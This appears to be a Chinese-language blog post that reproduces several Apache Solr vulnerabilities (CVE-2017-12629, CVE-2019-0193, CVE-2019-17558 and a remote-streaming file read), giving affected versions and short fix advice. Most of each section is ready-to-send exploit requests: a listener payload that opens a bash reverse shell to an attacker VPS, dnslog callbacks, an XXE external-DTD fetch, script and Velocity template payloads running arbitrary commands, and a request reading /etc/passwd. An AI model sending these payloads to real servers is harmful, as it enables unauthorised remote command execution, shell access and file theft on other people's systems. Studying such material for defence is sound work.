总字符数: 12.23K
代码: 3.92K, 文本: 2.54K
预计阅读时间: 28 分钟
Apache solr 命令执行(CVE-2017-12629)
漏洞概述
什么是Lucene?
Lucene 是一个高效的,基于 Java 的全文检索库. Lucene 是 apache 软件基金会 4 jakarta 项目组的一个子项目,是一个开放源代码的全 文检索引擎工具包,但它不是一个完整的全文检索引擎,而是一个全文检索引擎的架构
Lucene主要提供了一个简单、强大的应用程序接口.
什么是solr?
Solr 是基于 Lucene 的面向企业搜索的 web 应用 ,Solr 是一个独立的企业级搜索应用服务器.它对外提供类似于 Web-service 的 API 接 口.用户可以通过 http 请求,向搜索引擎服务器提交一定格式的 XML 文件,生成索引;也 可以通过 Http Get 操作提出查找请求,并得到 xml/json 格式的返回结果.
注意是Solr来提供的http服务,Lucene不提供,他是一个应用程序接口.
并且Solr对Lucene进行了扩展.提供了一个完善的功能管理界面,是一款非常优秀的全文检索引擎.
影响版本:
- Apache Solr < 7.1
- Apache Lucene < 7.1
漏洞复现
命令执行
在Solr中,能够触发命令执行的方式有两种.分别是postCommit和newSearcher.
postCommit
首先创建一个listener,其中设置exe的值为我们想执行的命令,args的值是命令参数
1
2
3
4
5
6
7
8
9POST /solr/demo/config HTTP/1.1
Host: your-ip
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 158
{"add-listener":{"event":"postCommit","name":"newlistener","class":"solr.RunExecutableListener","exe":"bash","dir":"/bin/","args":["-c", "bash -i >& /dev/tcp/YOUR-VPS-IP/6666 0>&1"]}}然后进行update操作,触发刚才添加的listener
1
2
3
4
5
6
7POST /solr/demo/update HTTP/1.1
Host: 192.168.2.188:8983
Content-Length: 17
Content-Type: application/json
[{"id":"test"}]验证
newSearcher
构造Payload
1
2
3
4
5
6POST /solr/demo/config HTTP/1.1
Host: 192.168.25.130:8983
Content-Length: 170
Content-Type: application/json
{"add-listener":{"event":"newSearcher","name":"newSearcher3","class":"solr.RunExecutableListener","exe":"bash","dir":"/bin/","args":["-c", "ping -c 3 vu920r.dnslog.cn"]}}数据请求包里的name是可以随意的,但不能重复.
发送请求包
命令执行成功!
只需要将ping命令进行更换,就可以执行你想要的命令,可以设置一个反弹shell的命令,然后监听端口即可getshell,方法一样,发包,换name和命令即可.
修复建议
- 由于涉及到的是 SolrCloud,所以建议在所有节点问题中添加过滤器,进行相关过滤
Apache solr XML 实体注入漏洞(CVE-2017-12629)
漏洞描述
Apache Solr 是一个开源的搜索服务器.Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现.原理大致是文档通过Http利用XML加到一个搜索集合中.查询该集合也是通过 http收到一个XML/JSON响应来实现.此次7.1.0之前版本总共爆出两个漏洞:XML实体扩展漏洞(XXE)和远程命令执行漏洞(RCE),二者可以连接成利用链,编号均为CVE-2017-12629.
影响版本:
- Apache solr<7.1.0 版本
漏洞复现
在自己的VPS目录下新建一个文档1.dtd,名字可以自取.在1.dtd内写入如下内容:
1
2Python临时启动web服务
python3 -m http.server 8080
打开demo的搜索页面后点击Execute Query进行抓包,修改部分参数即可达到XXE外部实体代码执行的操作
1 | GET /solr/demo/select?_=1666089179043&q=%3C%3fxml+version%3d%221.0%22+%3f%3E%3C!DOCTYPE+root%5b%3C!ENTITY+%25+ext+SYSTEM+%22http%3a%2f%2f(你的远程服务器IP):8080%2f(dtd文件的名字).dtd%22%3E%25ext%3b%25ent%3b%5d%3E%3Cr%3E%26data%3b%3C%2fr%3E&wt=xml&defType=xmlparser HTTP/1.1 |
可能出现的问题:
- ?_=后面的时间戳可能不对
- 没有带cookie
修复建议
- 添加Solr访问控制,包括禁止本地直接未授权访问
- 升级版本至7.1,该版本已经解决了XML解析问题并删除了RunExecutableListener类
- 针对XXE可手动CoreParser.java,根据阻止根据解析产生XXE的点的方法修改DOM
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18static Document parseXML(InputStream pXmlFile) throws ParserException {
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = null;
try {
//protect from XXE attacks
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
db = dbf.newDocumentBuilder();
}
catch (Exception se) {
throw new ParserException("XML Parser configuration error", se);
}
org.w3c.dom.Document doc = null;
try {
doc = db.parse(pXmlFile);
}
Apache Solr 远程命令执行漏洞(CVE-2019-0193)
漏洞概述
Apache Solr 是一个开源的搜索服务器.Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现.此次漏洞出现在Apache Solr的DataImportHandler,该模块是一个可选但常用的模块,用于从数据库和其他源中提取数据.它具有一个功能,其中所有的DIH配置都可以通过外部请求的dataConfig参数来设置.由于DIH配置可以包含脚本,因此攻击者可以通过构造危险的请求,从而造成远程命令执行.
影响版本:
- Apache solr < 8.2.0
漏洞复现
- 创建数据库
docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db
- 访问地址
http://192.168.2.188:8983/solr/#/
已经可以选择数据库了 - 首先打开刚刚创建好的
test
核心,选择Dataimport功能并选择debug模式,填入以下POC
点击
Execute with this Confuguration
会发送以下请求包1
2
3
4
5
6
7
8
9
10
11
12
13
14
15POST /solr/test/dataimport?_=1666090401089&indent=on&wt=json HTTP/1.1
Host: 192.168.2.188:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 677
Origin: http://192.168.2.188:8983
Connection: close
Referer: http://192.168.2.188:8983/solr/
Cookie: JSESSIONID=vcl8jTQPScTrv2wL2GGBv6c4sRQyHpsJGTyvKQgh14LBVKrRMGgs!-301254551; ADMINCONSOLESESSION=Tg0RjTQKyVKckshvrTyhx8ZFnphCQZ1ZLQ6pWSpQLzL77TjLhTSc!-301254551
command=full-import&verbose=false&clean=true&commit=true&debug=true&core=test&dataConfig=%3CdataConfig%3E%0A++%3CdataSource+type%3D%22URLDataSource%22%2F%3E%0A++%3Cscript%3E%3C!%5BCDATA%5B%0A++++++++++function+poc()%7B+java.lang.Runtime.getRuntime().exec(%22ping+frklr3.dnslog.cn%22)%3B%0A++++++++++%7D%0A++%5D%5D%3E%3C%2Fscript%3E%0A++%3Cdocument%3E%0A++++%3Centity+name%3D%22stackoverflow%22%0A++++++++++++url%3D%22https%3A%2F%2Fstackoverflow.com%2Ffeeds%2Ftag%2Fsolr%22%0A++++++++++++processor%3D%22XPathEntityProcessor%22%0A++++++++++++forEach%3D%22%2Ffeed%22%0A++++++++++++transformer%3D%22script%3Apoc%22+%2F%3E%0A++%3C%2Fdocument%3E%0A%3C%2FdataConfig%3E&name=dataimport验证结果
修复建议
- 升级至
Apache 8.2.0
或更高版本,其默认情况下是安全的(默认情况下DataImportHandler
模块不启用) - 编辑
solrconfig.xml
以使用”不变量”部分配置所有DataImportHandler
用法,其中列出dataConfig
参数设置为空字符串 - 确保配置了网络设置,以便只有受信任的流量与Solr通信,特别是与DIH请求处理程序通信.
注:修复漏洞前请将资料备份,并进行充分测试.
Apache Solr Velocity 注入远程命令执行漏洞 (CVE-2019-17558)
漏洞概述
用户可以注入自定义模板,通过Velocity模板语言执行任意命令
影响版本:
- 5.0.0–8.3.1
漏洞复现
- 默认情况下
params.resource.loader.enabled
配置未打开,无法使用自定义模板.我们先通过如下API获取所有的核心http://192.168.2.188:8983/solr/admin/cores?indexInfo=false&wt=json
- 通过如下请求开启
params.resource.loader.enabled
,其中API路径包含刚才获取的core名称
- 注入Velocity模板之后即可执行任意命令:
http://192.168.2.188:8983/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
修复建议
- 建议升级Appache Salc到最新版
Apache Solr Remote-Streaming-Fileread
漏洞概述
Apache Solr的某些功能存在过滤不严格,在Apache Solr未开启认证的情况下,攻击者可直接构造特定请求开启特定配置,并最终造成SSRF或文件读取漏洞.
漏洞范围:
- Apache Solr <= 8.8.1
**漏洞原理:**在未开启认证的情况下,攻击者可直接构造特定请求获取目标主机内敏感文件及资源
漏洞复现
首先,访问
http://192.168.2.188:8983/solr/admin/cores?indexInfo=false&wt=json
获取数据库名打开BURP,发送数据包,进一步修改数据库配置
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16POST /solr/demo/config HTTP/1.1
Host: 192.168.2.188:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=vcl8jTQPScTrv2wL2GGBv6c4sRQyHpsJGTyvKQgh14LBVKrRMGgs!-301254551; ADMINCONSOLESESSION=Tg0RjTQKyVKckshvrTyhx8ZFnphCQZ1ZLQ6pWSpQLzL77TjLhTSc!-301254551
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
Content-Type: application/json
Content-Length: 82
{"set-property":{"requestDispatcher.requestParsers.enableRemoteStreaming":true}}再通过
stream.url
读取任意文件:curl -i -s -k "[http://192.168.2.188:8983/solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd](http://192.168.2.188:8983/solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd)"
修复建议
官方无修复版本